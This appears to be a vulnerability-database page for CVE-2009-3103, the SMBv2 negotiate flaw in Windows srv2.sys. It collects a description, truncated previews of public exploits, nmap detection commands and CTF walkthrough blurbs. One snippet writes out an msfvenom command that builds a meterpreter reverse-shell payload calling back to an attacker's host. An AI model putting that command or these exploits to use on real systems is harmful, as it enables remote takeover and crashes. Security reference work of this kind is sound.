Published: 08/09/2009 Updated: 07/12/2023

CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10

VMScore: 1000

Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote malicious users to execute arbitrary code or cause a denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information.

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microsoft windows server 2008
microsoft windows server 2008 sp2
microsoft windows vista

# EDB-Note: Source ~ rawgithubusercontentcom/ohnozzy/Exploit/master/MS09_050py #!/usr/bin/python #This module depends on the linux command line program smbclient #I can't find a python smb library for smb login If you can find one, you can replace that part of the code with the smb login function in python #The idea is that after th ...

#!/usr/bin/python # === EDIT – this exploit appears to be exactly the same one of one which was already found # and fixed notified by Laurent Gaffié, i did not know this but his blog post can be found here: # g-laurentblogspotcom/2009/11/windows-7-server-2008r2-remote-kernelhtml import socket,sys,time print "Maliformed negotiate pro ...

#!/usr/bin/python # win7-crashpy: # Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop) # Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop #NO BSOD, YOU GOTTA PULL THE PLUG #To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash #Author: Laurent ...

Microsoft SRV2SYS SMB Negotiate ProcessID Function Table Dereference --------------------------------------------------------------------- Exploited by Piotr Bania // wwwpiotrbaniacom Exploit for Vista SP2/SP1 only, should be reliable! Tested on: Vista sp2 (60600218005) Vista sp1 ultimate (60600118000) Kudos for: Stephen, HDM, Laurent G ...

## # $Id: ms09_050_smb2_negotiate_func_indexrb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions Please see the Metasploit # Framework web site for more information on licensing and terms of use # metasploitcom/framework/ ## require ...

============================================= - Release date: September 7th, 2009 - Discovered by: Laurent GaffiÃ© - Severity: High ============================================= I VULNERABILITY ------------------------- Windows Vista, Server 2008 < R2, 7 RC : SMB20 NEGOTIATE PROTOCOL REQUEST Remote BSOD II BACKGROUND ----------------- ...

Detects Microsoft Windows systems vulnerable to denial of service (CVE-2009-3103). This script will crash the service if it is vulnerable.

nmap --script smb-vuln-cve2009-3103.nse -p445 <host>
nmap -sU --script smb-vuln-cve2009-3103.nse -p U:137,T:139 <host>

Host script results:
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information.
|
|     Disclosure date: 2009-09-08
|     References:
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Detects Microsoft Windows systems vulnerable to denial of service (CVE-2009-3103). This script will crash the service if it is vulnerable.

nmap --script smb-vuln-cve2009-3103.nse -p445 <host>
nmap -sU --script smb-vuln-cve2009-3103.nse -p U:137,T:139 <host>

Host script results:
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information.
|
|     Disclosure date: 2009-09-08
|     References:
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Vulnerability-Asessment-Kioptrix-Level-1-Vulnhub Repositori ini saya create untuk mendokumentasikan proses Vulnerability Assesment dari mesin Kioptirxi Level 1 dari platform Vulhub Link Source Mesin Kioptrik Level 1 dari vulnhub dapat didownload secara free pada website resminya di link : wwwvulnhubcom/entry/kioptrix-level-1-1,22/ Persiapan Virtualbox : www

Today we are hacking into a highly recommended beginner CTF called Kioptrix. I had some troubles installing the machine from VulnHub so, in case you face some errors, I am providing you the .OVA file for the vulnerable machine.

CTF #1 - Kioptrix Today we are hacking into a highly recommended beginner CTF called Kioptrix I had some troubles installing the machine from VulnHub so, in case you face some errors, I am providing you the OVA file for the vulnerable machine You can download it here As always, let's start with my setup: My Setup A VirtualBox VM running Kali Linux Another VM running

Repository for python exploits

python-exploits Repository for python exploits MS08-067 This module exploits a parsing flaw in the path canonicalization code of NetAPI32dll through the Server Service This module is capable of bypassing NX on some operating systems and service packs The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing W

Repository for python exploits

python-exploits Repository for python exploits MS08-067 This module exploits a parsing flaw in the path canonicalization code of NetAPI32dll through the Server Service This module is capable of bypassing NX on some operating systems and service packs The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing W

Today we are hacking into a highly recommended beginner CTF called Kioptrix. I had some troubles installing the machine from VulnHub so, in case you face some errors, I am providing you the .OVA file for the vulnerable machine.

CTF #1 - Kioptrix Today we are hacking into a highly recommended beginner CTF called Kioptrix I had some troubles installing the machine from VulnHub so, in case you face some errors, I am providing you the OVA file for the vulnerable machine You can download it here As always, let's start with my setup: My Setup A VirtualBox VM running Kali Linux Another VM running

Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) (MS09-050)

Microsoft-Windows---srv2sys-SMB-Code-Execution-Python-MS09-050- Microsoft Windows - 'srv2sys' SMB Code Execution (Python) (MS09-050) Exploit for CVE-2009-3103 Overview This Python script is an updated version of a public exploit for CVE-2009-3103 The original code relied on the SMBconnection module, which has been replaced in this version to make the script more v

Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) (MS09-050)

Microsoft-Windows---srv2sys-SMB-Code-Execution-Python-MS09-050- Microsoft Windows - 'srv2sys' SMB Code Execution (Python) (MS09-050) Exploit for CVE-2009-3103 Overview This Python script is an updated version of a public exploit for CVE-2009-3103 The original code relied on the SMBconnection module, which has been replaced in this version to make the script more v

Public exploits and modifications

Exploits Public exploits modifications CVE-2002-0082 Apache mod_ssl < 287 OpenSSL - OpenFuckV2c Remote Buffer Overflow Fixes compilation errors CVE-2009-3103 Remote Code Execution via "SMBv2 Negotiation Vulnerability" Fixes compilation errors CVE-2017-0143 aka MS17-010 Remote Code Execution vulnerability in Microsoft SMBv1 Fixes compilation errors CVE-2003-

CVE-2009-3103 ms09-050

ms09-050_CVE-2009-3103 CVE-2009-3103 ms09-050 # One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=19216811 LPORT=4444 --bad-chars “\x00” --encoder x86/shikata_ga_nai --iterations 10 --format exe --out /path/ One liner start meterpreter msfconsole -x "use exploit/multi/h

CWE-399 http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0090.html http://www.securityfocus.com/bid/36299 http://isc.sans.org/diary.html?storyid=7093 http://secunia.com/advisories/36623 http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html http://www.us-cert.gov/cas/techalerts/TA09-286A.html http://blog.48bits.com/?p=510 http://www.securitytracker.com/id?1022848 http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1 http://www.microsoft.com/technet/security/advisory/975497.mspx http://osvdb.org/57799 http://www.kb.cert.org/vuls/id/135940 https://exchange.xforce.ibmcloud.com/vulnerabilities/53090 https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6489 http://www.exploit-db.com/exploits/9594 http://www.securityfocus.com/archive/1/506327/100/0/threaded http://www.securityfocus.com/archive/1/506300/100/0/threaded https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-050 https://nvd.nist.gov https://www.exploit-db.com/exploits/40280/https://github.com/amtzespinosa/kioptrix-walkthrough https://www.kb.cert.org/vuls/id/135940

CVE-2009-3103

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